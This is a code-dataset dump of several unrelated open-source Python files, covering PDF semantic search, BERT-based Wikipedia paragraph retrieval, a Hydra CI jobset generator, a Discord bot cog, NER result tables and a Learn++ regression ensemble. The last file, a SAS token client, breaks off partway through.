transformers import pipeline, AutoTokenizer, AutoModel\n\ndef fragment_text(text: str, max_length: int, overlap: float=0.5):\n\n my_text = []\n\n step_size = int(max_length / (1.0 - overlap))\n\n for start in range(0, len(text)-max_length, step_size):\n my_text.append(\" \".join(text[start:start+max_length]))\n\n return my_text\n\ndef get_embedding(text_list, model, tokenizer):\n pad_length = 128\n\n tokens = tokenizer(text_list, padding=\"max_length\",\\\n max_length=pad_length, truncation=True, \\\n return_tensors=\"pt\")\n\n token_items = {key:value for key, value in tokens.items()}\n \n output = model(token_items[\"input_ids\"], \\\n token_items[\"attention_mask\"])\n embeddings = mean_pooling(output)\n\n return embeddings\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"-q\", \"--query\", type=str, nargs=\"+\",\\\n default=[\"Cogito ergot sum\"],\\\n help=\"query or queries to search for in pdf text\"\\\n \"(separate by space and use single quote marks)\")\n parser.add_argument(\"-d\", \"--directory\", type=str,\n default=\"data\")\n parser.add_argument(\"-i\", \"--input\", type=str,\\\n default=\"Evolution_of_Autopoiesis_and_Multicellularity_in_t.pdf\",\\\n help=\"filename for pdf of interest\")\n parser.add_argument(\"-k\", \"--k\", type=int,\\\n default=3,\\\n help=\"k for top-k matches to report\")\n\n args = parser.parse_args()\n query = args.query\n filename = args.input\n path = args.directory\n k = args.k\n\n with torch.no_grad():\n path = \"data\"\n\n dir_list = os.listdir(path)\n\n# for filename in dir_list:\n# if filename.endswith(\"pdf\"):\n\n vector_filepath = os.path.join(path, \\\n f\"{os.path.splitext(filename)[0]}.pt\") \n\n\n filepath = os.path.join(path, filename)\n\n text = extract_text(filepath)\n text_list = fragment_text(text.split(\" \"), 96, 0.5)\n\n my_model=\"sentence-transformers/multi-qa-mpnet-base-dot-v1\"\n \n tokenizer = AutoTokenizer.from_pretrained(my_model)\n model = AutoModel.from_pretrained(my_model)\n\n if os.path.exists(vector_filepath):\n print(f\"loading pre-computed vectors from {vector_filepath}\")\n embeddings = torch.load(vector_filepath)\n else:\n\n\n embeddings = None\n\n # single sample at a time (low ram on laptop)\n for ii in range(len(text_list)):\n\n if embeddings == None:\n embeddings = get_embedding(text_list[ii:ii+1], model, tokenizer)\n else:\n embedding = get_embedding(text_list[ii:ii+1], model, tokenizer)\n embeddings = torch.cat([embeddings, embedding]) \n \n\n torch.save(embeddings, vector_filepath)\n\n query_again = True\n while query_again:\n query_embeddings = get_embedding(query, model, tokenizer)\n\n cosine_matrix = torch.zeros(query_embeddings.shape[0], \\\n embeddings.shape[0])\n l2_matrix = torch.zeros(query_embeddings.shape[0], \\\n embeddings.shape[0])\n\n for index, query_embedding in enumerate(query_embeddings):\n cosine_similarities = torch.tensor(cosine_similarity(query_embedding, embeddings))\n l2_distances = l2_distance(query_embedding, embeddings)\n\n cosine_matrix[index,:] = cosine_similarities #torch.tensor(cosine_similarities)\n l2_matrix[index,:] = l2_distances\n\n cosine_indices = list(np.argsort(cosine_similarities))\n l2_indices = list(np.argsort(l2_distances))\n cosine_indices.reverse()\n\n for kk in range(k):\n # top_k best results\n\n idx = cosine_indices[kk]\n\n cosine_match = f\"{kk}th best match for query {query[index]}\"\\\n f\"\\n\\t with cosine similarity {cosine_similarities[idx]:.3f}\"\\\n f\"\\n\\n {text_list[idx]}\"\n\n print(cosine_match)\n\n for kk in range(k):\n # top_k best results\n\n idx = cosine_indices[kk]\n\n l2_match = f\"{kk}th best match for query {query[index]}\"\\\n f\"\\n\\t with l2 distance {l2_distances[:, idx].item():.3f}\"\\\n f\"\\n\\n {text_list[idx]}\"\n\n print(l2_match)\n \n query = [input(\"enter another query (0 to end)\")]\n\n if query[0] == \"0\":\n query_again = False\n else:\n query_again = True\n","repo_name":"riveSunder/mybrary","sub_path":"brary/pdf_search.py","file_name":"pdf_search.py","file_ext":"py","file_size_in_byte":4913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40573798999","text":"'''\n @Date : 01/12/2020\n @Author: Zhihan Zhang\n @mail : zhangzhihan@pku.edu.cn\n @homepage: ytyz1307zzh.github.io\n'''\nimport argparse\nimport json\nfrom tqdm import tqdm\nfrom typing import List, Dict\nimport time\nfrom transformers import BertModel, BertTokenizer, RobertaTokenizer, RobertaModel\nimport torch\nimport torch.nn.functional as F\nMODEL_CLASSES = {\n 'bert': (BertModel, BertTokenizer),\n 'roberta': (RobertaModel, RobertaTokenizer),\n}\nmodel_hidden = {'bert-base-uncased': 768, 'bert-large-uncased': 1024, 'roberta-base': 768, 'roberta-large': 1024}\nmodel_layers = {'bert-base-uncased': 12, 'bert-large-uncased': 24, 'roberta-base': 12, 'roberta-large': 24}\nHIDDEN_SIZE = 0\nNUM_LAYERS = 0\nEMBED_LAYER = None\n\n\ndef cos_similarity(vec1: torch.Tensor, vec2: torch.Tensor) -> torch.Tensor:\n assert vec1.size() == vec2.size() == (HIDDEN_SIZE,)\n return F.cosine_similarity(vec1, vec2, dim=0)\n\n\ndef get_span_embed(model, sent_ids: torch.Tensor, cuda: bool):\n if cuda:\n sent_ids = sent_ids.cuda()\n with torch.no_grad():\n outputs = model(sent_ids)\n\n assert len(outputs) == 3\n _, _, hidden_states = outputs\n assert len(hidden_states) == NUM_LAYERS + 1\n last_embed = hidden_states[EMBED_LAYER]\n assert last_embed.size() == (1, sent_ids.size(1), HIDDEN_SIZE)\n sent_embed = last_embed[0, 1:-1, :] # get rid of <CLS> (first token) and <SEP> (last token)\n\n return sent_embed\n\n\ndef get_max_context(doc_spans, position):\n \"\"\"\n Find the 'max context' doc span for the token.\n \"\"\"\n best_score = None\n best_span_index = None\n for (span_index, doc_span) in enumerate(doc_spans):\n end = doc_span[\"start\"] + doc_span[\"length\"] - 1\n if position < doc_span[\"start\"]:\n continue\n if position > end:\n continue\n num_left_context = position - doc_span[\"start\"]\n num_right_context = end - position\n score = min(num_left_context, num_right_context) + 0.01 * doc_span[\"length\"]\n if best_score is None or score > best_score:\n best_score = score\n best_span_index = span_index\n\n return best_span_index\n\n\ndef get_sentence_embed(tokenizer, model, sentence: str, cuda: bool,\n max_len: int, doc_stride: int, pooling: str):\n \n sent_length = len(tokenizer.tokenize(sentence))\n all_spans = []\n all_text_ids = []\n tokens_read = 0\n\n # split the long document into chunks, if its length > 512\n while True:\n encode_dict = tokenizer.encode_plus(sentence,\n add_special_tokens=True,\n max_length=max_len,\n stride=doc_stride,\n pad_to_max_length=False,\n return_overflowing_tokens=True)\n token_ids = encode_dict['input_ids']\n num_words = len(token_ids) - tokenizer.num_added_tokens() # won't count special tokens\n all_text_ids.append(token_ids)\n if tokens_read != 0:\n tokens_read -= doc_stride # start position of the current span, including overlap\n all_spans.append({'start': tokens_read,\n 'length': num_words\n })\n tokens_read += num_words\n\n if 'overflowing_tokens' not in encode_dict:\n break\n\n sentence = encode_dict['overflowing_tokens']\n\n # find the best context span for each word\n best_span_idx = []\n for i in range(sent_length):\n best_span_idx.append(get_max_context(all_spans, i))\n\n # get embeddings of each span from BERT\n span_embed = []\n for input_ids in all_text_ids:\n input_ids = torch.tensor(input_ids, dtype=torch.long).unsqueeze(0) # batch size = 1\n output_embed = get_span_embed(model, sent_ids=input_ids, cuda=cuda)\n span_embed.append(output_embed) # word embeddings without\n\n # according to its best span, collect word embedding\n word_embed = []\n for i in range(sent_length):\n best_span = best_span_idx[i]\n best_embed = span_embed[best_span][i - all_spans[best_span]['start']]\n word_embed.append(best_embed)\n\n # pooling method to acquire the sentence embedding\n word_embed = torch.stack(word_embed, dim=0)\n assert word_embed.size() == (sent_length, HIDDEN_SIZE)\n if pooling == 'max':\n sent_embed, _ = torch.max(word_embed, dim=0)\n elif pooling == 'mean':\n sent_embed = torch.mean(word_embed, dim=0)\n else:\n raise ValueError('Invalid pooling method!')\n assert sent_embed.size() == (HIDDEN_SIZE,)\n \n return sent_embed\n\n\ndef select_topk_doc(tokenizer, model, query: str, docs: List[str], max_seq_len: int,\n max_num: int, cuda: bool, doc_stride: int, pooling: str) -> (List[int], List[int]):\n \"\"\"\n Select the k most similar wiki paragraphs to the given query, based on doc embedding.\n \"\"\"\n doc_embed = []\n chunk_len = max_seq_len if max_seq_len is not None else tokenizer.max_len\n for doc in docs:\n doc_embed.append(get_sentence_embed(tokenizer, model, sentence=doc, cuda=cuda, max_len=chunk_len,\n doc_stride=doc_stride, pooling=pooling))\n\n query_embed = get_sentence_embed(tokenizer, model, sentence=query, cuda=cuda, max_len=chunk_len,\n doc_stride=doc_stride, pooling=pooling)\n similarity = [cos_similarity(query_embed, embed) for embed in doc_embed]\n topk_score, topk_id = torch.tensor(similarity).topk(k=max_num, largest=True, sorted=True)\n\n return topk_score.tolist(), topk_id.tolist()\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-input', type=str, default='./wiki_para.json', help='path to the english conceptnet')\n parser.add_argument('-output', type=str, default='./result/retrieval_embed.json', help='path to store the generated graph')\n parser.add_argument('-model_class', type=str, required=True, help='transformer model class')\n parser.add_argument('-model_name', type=str, required=True, help='transformer model name')\n parser.add_argument('-embed_layer', type=int, default=-2,\n help='the output of which layer would you like to use as final embedding, '\n '-1: last layer, -2: second last, 0: embedding layer, 1: first layer, etc.')\n parser.add_argument('-pooling', default='mean', choices=['max', 'mean'],\n help='pooling method to aggregate BERT word embeddings into sentence embedding')\n parser.add_argument('-max', type=int, default=5, help='how many triples to collect')\n parser.add_argument('-doc_stride', type=int, default=128,\n help='when splitting up a long document into chunks, how much stride to take between chunks')\n parser.add_argument('-max_seq_len', type=int, default=None, help='max sequence length')\n parser.add_argument('-no_cuda', default=False, action='store_true', help='if specified, then only use cpu')\n opt = parser.parse_args()\n print(opt)\n\n global HIDDEN_SIZE\n global NUM_LAYERS\n global EMBED_LAYER\n HIDDEN_SIZE = model_hidden[opt.model_name]\n NUM_LAYERS = model_layers[opt.model_name]\n EMBED_LAYER = opt.embed_layer\n\n assert opt.model_name in model_hidden.keys(), 'Wrong model name provided'\n model_class, tokenizer_class = MODEL_CLASSES[opt.model_class]\n\n raw_data = json.load(open(opt.input, 'r', encoding='utf8'))\n cuda = False if opt.no_cuda else True\n result = []\n\n print(f'[INFO] Loading pretrained {opt.model_name}...')\n start_time = time.time()\n tokenizer = tokenizer_class.from_pretrained(opt.model_name)\n model = model_class.from_pretrained(opt.model_name, output_hidden_states=True)\n if cuda:\n model.cuda()\n print(f'[INFO] Model loaded. Time elapse: {time.time() - start_time:.2f}s')\n\n for instance in tqdm(raw_data):\n para_id = instance['para_id']\n paragraph = instance['paragraph']\n topic = instance['topic']\n prompt = instance['prompt']\n wiki_cands = instance['wiki']\n\n docs = [wiki['text'] for wiki in wiki_cands]\n topk_score, topk_id = select_topk_doc(tokenizer=tokenizer, model=model, query=paragraph,\n docs=docs, max_seq_len=opt.max_seq_len, max_num=opt.max,\n cuda=cuda, doc_stride=opt.doc_stride, pooling=opt.pooling)\n\n selected_wiki = [wiki_cands[idx] for idx in topk_id]\n assert len(selected_wiki) == opt.max\n for i in range(opt.max):\n selected_wiki[i]['similarity'] = topk_score[i]\n\n result.append({'id': para_id,\n 'topic': topic,\n 'prompt': prompt,\n 'paragraph': paragraph,\n 'wiki': selected_wiki\n })\n\n json.dump(result, open(opt.output, 'w', encoding='utf8'), indent=4, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"ytyz1307zzh/KOALA","sub_path":"wiki/prune_para_embed.py","file_name":"prune_para_embed.py","file_ext":"py","file_size_in_byte":9103,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"21855845572","text":"# Definitions for a Nix Hydra builder\n\nimport Briareus.BuildSys.BuilderBase as BuilderBase\nfrom Briareus.Types import BuilderResult, PR_Solo\nfrom Briareus.BuildSys import buildcfg_name\nimport requests\nimport json\nimport os\n\n\nclass HydraBuilder(BuilderBase.Builder):\n \"\"\"Generates Hydra jobset output for each build configuration. The\n jobset specifies each BldRepoRev as a separate input to the\n jobset (with the suffix \"-src\").\n\n The builder_conf file should be a JSON file specifying any\n overrides for jobset fields (and the inputs section will be\n supplemental to (and override similar inputs) in the\n build-config-generated inputs.\n\n { \"jobset\" : {\n ... jobset overrides ...,\n \"inputs\": {\n ... additional inputs/overrides ...\n }\n }\n }\n \"\"\"\n\n builder_type = 'hydra'\n\n def output_build_configurations(self, input_desc, bldcfgs, bldcfg_fname=None):\n \"\"\"Given an input description and the set of build configurations\n generated from the BCGen logic, return the Hydra-specific\n configuration of those build configurations, along with any\n auxiliary files as a dictionary, where the key is the\n filename and the value is the contents; the key should be\n None for the primary output file, which is named in the\n input specification.\n\n For the Hydra builder, an auxiliary file is generated that\n can be used as the declarative project description (used\n for defining the Project in Hydra), along with a helper\n function to move that auxiliary file into the nix store on\n Hydra invocation.\n\n input_desc :: is the Briareus.Input.Description.InpDesc\n object describing the repos, the branches,\n and the variables.\n\n bldcfgs :: is the set of bldcfgs generated by the BCGen logic.\n\n bldcfg_fname :: is the filepath where the output build\n configurations will be written. This\n routine does *not* write to that file, but\n it uses the filepath in the output of\n auxiliary files, like the project\n configuration file. If this argument is\n None, then the project declarative\n description and corresponding installation\n nix file are not generated.\n\n \"\"\"\n input_cfg = (json.loads(open(self._conf_file, 'r').read())\n if self._conf_file else {})\n project_name = input_cfg.get('project_name', 'unnamed')\n out_bldcfg_json = json.dumps(\n # Sort by key for output stability\n { buildcfg_name(each) :\n self._jobset(input_desc, bldcfgs, input_cfg, each)\n for each in bldcfgs.cfg_build_configs },\n sort_keys=True)\n if not bldcfg_fname:\n return {None: out_bldcfg_json }\n copy_hh_src_path = os.path.abspath(\n os.path.join(os.path.dirname(bldcfg_fname), 'hydra'))\n return {\n None: out_bldcfg_json,\n (project_name + '-hydra-project-config.json') :\n json.dumps(\n { 'checkinterval': 300,\n 'keepnr': 3,\n 'schedulingshares': 1,\n 'emailoverride': '',\n 'description': \"Briareus-generated %s Project declaration\" % project_name,\n 'nixexprinput': \"copy_hh_src\",\n 'nixexprpath': \"copy_hh.nix\",\n 'enabled': 1,\n 'hidden': False,\n 'enableemail': True,\n 'inputs': {\n 'hh_output': {\n 'type': \"path\",\n 'value': os.path.abspath(bldcfg_fname),\n 'emailresponsible': False,\n },\n 'copy_hh_src': {\n 'type': 'path',\n 'value': copy_hh_src_path,\n 'emailresponsible': False,\n },\n 'nixpkgs': {\n 'type': \"git\",\n 'value': \"https://github.com/NixOS/nixpkgs-channels nixos-unstable\",\n 'emailresponsible': False,\n },\n },\n }),\n os.path.join(copy_hh_src_path, 'copy_hh.nix') :\n '\\n'.join([\n '{ nixpkgs, hh_output }:',\n 'let pkgs = import <nixpkgs> {}; in',\n '{ jobsets = pkgs.stdenv.mkDerivation {',\n ' name = \"copy_hh\";',\n ' phases = [ \"installPhase\" ];',\n ' installPhase = \"cp ${hh_output} $out\";',\n ' };',\n '}',\n '',\n ]),\n }\n\n def _jobset(self, input_desc, bldcfgs, input_cfg, bldcfg):\n jobset_inputs = self._jobset_inputs(input_desc, bldcfgs, bldcfg)\n if 'jobset' in input_cfg and 'inputs' in input_cfg['jobset']:\n jobset_inputs.update(input_cfg['jobset']['inputs'])\n projrepo = [ r for r in input_desc.RL if r.project_repo ][0]\n jobset = {\n # These are the defaults which can be overridden by\n # input_cfg which was the passed in builder_config file.\n \"checkinterval\": 600, # 5 minutes\n \"description\": self._jobset_desc(bldcfgs, bldcfg),\n \"emailoverride\": \"\",\n \"enabled\": 1,\n \"enableemail\": False,\n \"hidden\": False,\n \"keepnr\": 3, # number of builds to keep\n \"nixexprinput\": projrepo.repo_name + \"-src\", # must be an input\n \"nixexprpath\": \"./release.nix\", # the hydra convention\n \"schedulingshares\": 1,\n }\n jobset.update(input_cfg.get('jobset', {}))\n jobset['inputs'] = jobset_inputs\n return jobset\n\n def _jobset_variant(self, bldcfg):\n # Provides a string \"variant\" input to the jobset to allow the\n # jobset to customize itself (e.g. selecting different\n # dependencies for a branch v.s. the master). Provide various\n # jobset information in a regular fashion to allow easy\n # interpretation by the nix jobset expression:\n #\n # \"|key=value|key=value...\"\n #\n # Variables do not need to be part of the variant because they\n # are already independently specified.\n #\n # Similarly, BldRepoRev translates into independent inputs.\n return '|' + '|'.join(\n filter(None,\n [ 'branch=' + bldcfg.branchname,\n 'strategy=' + bldcfg.strategy,\n 'PR' if bldcfg.branchtype == \"pullreq\" else None,\n ]))\n\n def _pullreq_for_bldcfg_and_brr(self, bldcfgs, bldcfg, brr):\n return (([ p for p in bldcfgs.cfg_pullreqs # InternalOps.PRInfo\n if p.pr_target_repo == brr.reponame and\n p.pr_branch == bldcfg.branchname and\n p.pr_ident == brr.pullreq_id\n ] + [None])[0]\n if bldcfg.branchtype == 'pullreq' and brr.pullreq_id != 'project_primary' else None)\n\n def _jobset_desc(self, bldcfgs, bldcfg):\n brr_info = []\n for brr in sorted(bldcfg.blds): # BuildConfigs.BuildRepoRev\n preq = self._pullreq_for_bldcfg_and_brr(bldcfgs, bldcfg, brr)\n if preq:\n brr_info.append( \"PR%(pr_ident)s-brr%%(srcident)s:%%(reponame)s\"\n % preq.__dict__ % brr.__dict__ )\n continue\n brr_info.append( \"brr%(srcident)s:%(reponame)s\" % brr.__dict__ )\n\n return (\"Build configuration: \" +\n \", \".join(brr_info +\n [ \"%(varname)s=%(varvalue)s\" % v.__dict__\n for v in sorted(bldcfg.bldvars) ]\n ))\n\n def _jobset_inputs(self, input_desc, bldcfgs, bldcfg):\n repo_url_maybe_pullreq = lambda brr, mbpr: \\\n (mbpr.pr_srcrepo_url\n if mbpr else\n self._repo_url(input_desc, bldcfgs, brr))\n repo_url = lambda brr: \\\n repo_url_maybe_pullreq(brr,\n self._pullreq_for_bldcfg_and_brr(bldcfgs,\n bldcfg,\n brr))\n return dict(\n [ ('variant',\n {\n 'emailresponsible': False,\n 'type': 'string',\n 'value': self._jobset_variant(bldcfg)\n }),\n ] +\n [ (each.reponame + \"-src\",\n {\n \"emailresponsible\": False,\n \"type\": \"git\",\n \"value\": ' '.join([repo_url(each), each.repover,])\n }) for each in bldcfg.blds ] +\n [ (v.varname, {\n \"emailresponsible\": False,\n \"type\": \"string\",\n \"value\": v.varvalue\n }) for v in bldcfg.bldvars ]\n )\n\n def _repo_url(self, input_desc, bldcfgs, bldreporev):\n for each in input_desc.RL:\n if each.repo_name == bldreporev.reponame:\n return each.repo_url\n for each in bldcfgs.cfg_subrepos: # RepoDesc\n if each.repo_name == bldreporev.reponame:\n return each.repo_url\n return '--<unknown URL for repo %s>--' % bldreporev.reponame\n\n def update(self, cfg_spec):\n print(\"Takes output of output_build_configurations and updates the actual remote builder\")\n\n def _get_build_results(self):\n r = getattr(self, '_build_results', None)\n if not r:\n if not self._builder_url:\n return 'Build results cannot be retrieved without a builder URL'\n if not self._conf_file:\n return 'Build results cannot be retrieved without builder configuration information.'\n input_cfg = json.loads(open(self._conf_file, 'r').read())\n project_name = input_cfg.get('project_name', None)\n if not project_name:\n return 'Build results require a project_name for querying Hydra'\n url = self._builder_url + \"/api/jobsets?project=\" + project_name\n r = requests.get(url)\n if r.status_code == 404:\n return 'No build results at specified target (%s)' % url\n r.raise_for_status()\n self._build_results = r.json()\n return self._build_results\n\n\n def get_build_result(self, bldcfg):\n n = buildcfg_name(bldcfg)\n r = self._get_build_results()\n if isinstance(r, str):\n return r\n return ([\n BuilderResult(\n buildname=n,\n nrtotal=get_or_show(e, 'nrtotal'),\n nrsucceeded=get_or_show(e, 'nrsucceeded'),\n nrfailed=get_or_show(e, 'nrfailed'),\n nrscheduled=get_or_show(e, 'nrscheduled'),\n cfgerror=get_or_show(e, 'haserrormsg') or bool(get_or_show(e, \"fetcherrormsg\")),\n )\n for e in r if e['name'] == n\n ] + ['No results available for jobset ' + n])[0]\n\ndef get_or_show(obj, fieldname):\n if fieldname not in obj:\n print('Missing field \"%s\" in builder result: %s'\n % ( fieldname, str(obj) ))\n return obj.get(fieldname)\n","repo_name":"hazelweakly/briareus","sub_path":"Briareus/BuildSys/Hydra.py","file_name":"Hydra.py","file_ext":"py","file_size_in_byte":11717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"40582019637","text":"from discord.ext import commands\nimport discord\n\n# from utils import notify_user\n\n\nclass Basic(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n # @commands.command(brief=\"Creates an invite link to the channel\")\n # @commands.guild_only()\n # async def invite(self, ctx):\n # link = await ctx.channel.create_invite(max_age=1)\n # await ctx.send(link)\n\n @commands.command()\n async def poke(self, ctx, member: discord.Member = None):\n if member is not None:\n channel = member.dm_channel\n if channel is None:\n channel = await member.create_dm()\n await channel.send(\"%s poked you!!!!!!!!\" % ctx.author.name)\n else:\n await ctx.send(\"please use @metion to poke someone\")\n \n \ndef setup(bot):\n bot.add_cog(Basic(bot))\n","repo_name":"Economic-Bot/Bots-are-needed","sub_path":"cogs/basic.py","file_name":"basic.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14355738145","text":"import sys, os\nimport json\n\nfrom latextable import Texttable, draw_latex\nimport pyperclip\n\nDATASETS = (\"DaNE\", \"Plank\", \"WikiANN\")\nMODEL_NAMES = {\n \"BERT\": \"DaNLP da-BERT\",\n \"mBERT\": \"NERDA m-BERT\",\n \"Ælæctra\": \"NERDA Ælæctra\",\n \"DaCyMedium\": \"DaCy medium\",\n \"DaCyLarge\": \"DaCy large\",\n \"spaCy\": \"DaNLP spaCy\",\n \"Flair\": \"DaNLP Flair\",\n \"Polyglot\": \"Polyglot\",\n \"daner\": \"daner\",\n}\n\nMODEL_TRAINDATA = {\n \"BERT\": \"DaNE\",\n \"mBERT\": \"DaNE\",\n \"Ælæctra\": \"DaNE\",\n \"DaCyMedium\": \"DaNE\",\n \"DaCyLarge\": \"DaNE\",\n \"spaCy\": \"DaNE\",\n \"Flair\": \"DaNE\",\n \"Polyglot\": \"Wikipedia\",\n \"daner\": \"ITU CDT\",\n}\n\ndef f1f(f: float) -> str:\n \"\"\" Format F1-score \"\"\"\n if f == \"-\": return f\n return \"%.2f\" % (f*100)\n\ndef build_main_table(dataset: str, experiment: dict) -> str:\n t = Texttable()\n t.set_deco(t.HEADER)\n cats = [\"LOC\", \"PER\", \"ORG\"]\n miscdata = dataset != \"WikiANN\"\n # Fix miscfuckeri\n row = [\"Model name\", \"Trained on\", \"F1\"]\n if miscdata:\n row.append(r\"F1 {\\tiny\\textdiscount MISC}\")\n cats.append(\"MISC\")\n row += [\"Prec.\", \"Rec.\"]\n row += cats\n\n t.set_cols_align([\"l\", \"l\"] + [\"c\"]*(3+len(cats)+int(miscdata)))\n t.set_cols_dtype([\"t\"]*len(row)) # Dont overwrite my formatting pls\n t.header(row)\n\n for m, mname in MODEL_NAMES.items():\n v = experiment[m]\n row = [mname, MODEL_TRAINDATA[m]]\n if miscdata:\n row.append(f1f(v[\"stats\"][\"micro avg\"][\"f1-score\"]) if v[\"stats\"][\"MISC\"][\"f1-score\"] else \"-\")\n row.append(f1f(v[\"stats_nomisc\"][\"micro avg\"][\"f1-score\"]))\n row.append(f1f(v[\"stats\"][\"micro avg\"][\"precision\"]))\n row.append(f1f(v[\"stats\"][\"micro avg\"][\"recall\"]))\n row += [f1f(v[\"stats\"][c][\"f1-score\"] or \"-\") for c in cats]\n t.add_row(row)\n #print(t.draw())\n out = draw_latex(t, caption=f\"F1\\pro-scores of Danish NER models of the {dataset} data-set consisting of {v['N']} sentences.\", label=f\"tab:{dataset}\")\n print(out)\n return out\n\nif __name__ == '__main__':\n indir = sys.argv[1]\n experiments = {d: dict() for d in DATASETS}\n for folder in next(os.walk(indir))[1]:\n if any(d in folder for d in DATASETS):\n model, dataset = folder.split(\"-\")\n with open(os.path.join(indir, folder, \"data.json\"), \"r\") as f:\n experiment = json.load(f)\n experiments[dataset][model] = {\n \"stats\": experiment[\"statistics\"],\n \"stats_nomisc\": experiment[\"statistics_nomisc\"],\n \"N\": len(experiment[\"predictions\"])\n }\n pyperclip.copy(\"\\n\\n\".join(\n build_main_table(data, exp) for data, exp in experiments.items()\n )\n )\n","repo_name":"peleiden/bug-free-guacamole","sub_path":"scripts/da_NER_textables.py","file_name":"da_NER_textables.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42545472020","text":"import numpy as np\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn import model_selection\nfrom sklearn.metrics import r2_score\n\n\nclass LearnPlusMLPRegressor(MLPRegressor):\n def __init__(self, feature_selection, hidden_layer_sizes, learning_rate_init, activation):\n self.feature_selection = feature_selection\n super().__init__(hidden_layer_sizes=hidden_layer_sizes,\n learning_rate_init=learning_rate_init,\n activation=activation)\n\n\nclass LearnCommitteeRegression:\n def __init__(self,\n no_of_weak_regressors,\n percentage_of_features,\n no_of_features,\n hidden_layer_sizes,\n learning_rate_init,\n p_features,\n missing_data_representation,\n activation,\n threshold):\n\n # to be forwarded to weak regressors\n self.hidden_layer_sizes = hidden_layer_sizes\n self.learning_rate_init = learning_rate_init\n self.activation = activation\n self.threshold = threshold\n\n # used for LearnCommittee\n self.no_of_features = no_of_features\n self.no_of_weak_regressors = no_of_weak_regressors\n self.missing_data_representation = missing_data_representation\n self.percentage_of_features = percentage_of_features\n self.universal_regressor_set = [None]*no_of_weak_regressors\n\n # initialize prob. of features to be chosen for weak regressors\n if p_features is not None:\n self.p_features = np.copy(p_features)\n else:\n self.p_features = [None] * self.no_of_features\n for k in range(0, self.no_of_features):\n self.p_features[k] = 1 / self.no_of_features\n\n def fit(self, features, target_values, np_seed, split_seed):\n \"\"\"Triggers the training of the Learn++-Committee.\n\n Parameters\n ----------\n features: array of shape [n_samples, n_features]\n Samples to be used for training of the committee\n target_values: array of shape [n_samples]\n Target values of the samples\n np_seed: integer\n Seed to make numpy randomization reproducible.\n split_seed: integer\n Seed to make random split reproducible.\n \"\"\"\n x_weak_train, x_weak_test, y_weak_train, y_weak_test = \\\n model_selection.train_test_split(features, target_values, test_size=0.1, random_state=split_seed)\n no_selected_features = int(self.no_of_features * self.percentage_of_features)\n feature_range = range(0, self.no_of_features)\n np.random.seed(np_seed)\n\n # Training of set of weak regressors\n k = 0\n while k < self.no_of_weak_regressors:\n # normalize probability of feature selection\n p_sum = sum(self.p_features)\n if p_sum != 1:\n self.p_features[:] = [x / p_sum for x in self.p_features]\n\n # random feature selection\n feature_selection = np.random.choice(feature_range, no_selected_features, replace=False, p=self.p_features)\\\n .tolist()\n feature_selection.sort()\n\n # instantiate weak regressor\n weak_regressor = LearnPlusMLPRegressor(feature_selection=feature_selection,\n hidden_layer_sizes=self.hidden_layer_sizes,\n learning_rate_init=self.learning_rate_init,\n activation=self.activation)\n\n # train regressor\n x_reduced = x_weak_train[:, feature_selection]\n weak_regressor.fit(x_reduced, y_weak_train)\n\n # calculate regressor quality\n y_weak_predicted = weak_regressor.predict(x_weak_test[:, feature_selection])\n r_2 = r2_score(y_weak_test, y_weak_predicted)\n\n # if quality above threshold: save, else discard\n if abs(r_2) < self.threshold:\n self.universal_regressor_set[k] = weak_regressor\n k += 1\n print(k, \" weak regressors trained\")\n for i in feature_selection:\n self.p_features[i] = self.p_features[i] * 1 / self.no_of_features\n\n def predict(self, points):\n \"\"\"Predict target variable for the given input using the Learn++-Committee.\n\n Parameters\n ----------\n points: array of shape [n_samples, n_features]\n Samples to be classified\n\n Returns\n ----------\n y_predicted: array of shape [n_samples]\n Predicted values for the given points\n \"\"\"\n y_predicted = [None] * len(points)\n for p in range(0, len(points)):\n y_predicted[p] = self.run(points[p])\n\n return y_predicted\n\n def run(self, point):\n \"\"\"Predict the target value of a single sample by averaging over the committee's weak regressors' results.\n\n Parameters\n ----------\n point: array of shape [n_features]\n Sample for which target value shall be predicted\n\n Returns\n ----------\n y_predicted: integer\n Committee's final prediction (average of the individual regressors' results)\n \"\"\"\n # determine available features\n available_features = []\n for i in range(0, len(point)):\n if point[i] != self.missing_data_representation:\n available_features.append(i)\n available_features.sort()\n\n # determine set of usable regressors\n usable_regressor_set = []\n for c in self.universal_regressor_set:\n if all(feature in available_features for feature in c.feature_selection):\n usable_regressor_set.append(c)\n\n # classify point with all usable regressors\n summed_up_results = [0]\n for c in usable_regressor_set:\n reduced_point = point[c.feature_selection].reshape(1, -1)\n regression_result = c.predict(reduced_point)\n summed_up_results = [x + y for x, y in zip(summed_up_results, regression_result)]\n\n # determine committee result by averaging the individual results\n avg_result = summed_up_results[0] / len(usable_regressor_set)\n\n return avg_result\n","repo_name":"AlinaP23/master_thesis","sub_path":"regression/LearnPlus_regression.py","file_name":"LearnPlus_regression.py","file_ext":"py","file_size_in_byte":6364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38041258081","text":"from __future__ import annotations\n\nimport datetime\nfrom asyncio import Lock, Queue\nfrom datetime import timezone\nfrom types import TracebackType\nfrom typing import Any, AsyncIterator, Dict, Optional, Type\n\nimport dateutil.parser\nfrom aiohttp import ClientSession\nfrom yarl import URL\n\nfrom .http_client import HttpClient\n\nDEFAULT_SAS_TOKEN_ENDPOINT = \"https://planetarycomputer.microsoft.com/api/sas/v1/token\"\n\n\nclass _Token:\n expiry: datetime.datetime\n token: str\n\n @classmethod\n def from_dict(cls, data: Dict[str, Any]) -> _Token:\n try:\n expiry = dateutil.parser.isoparse(data[\"msft:expiry\"])\n except KeyError:\n raise ValueError(f\"missing 'msft:expiry' key in dict: {data}\")\n\n try:\n token = data[\"token\"]\n except KeyError:\n 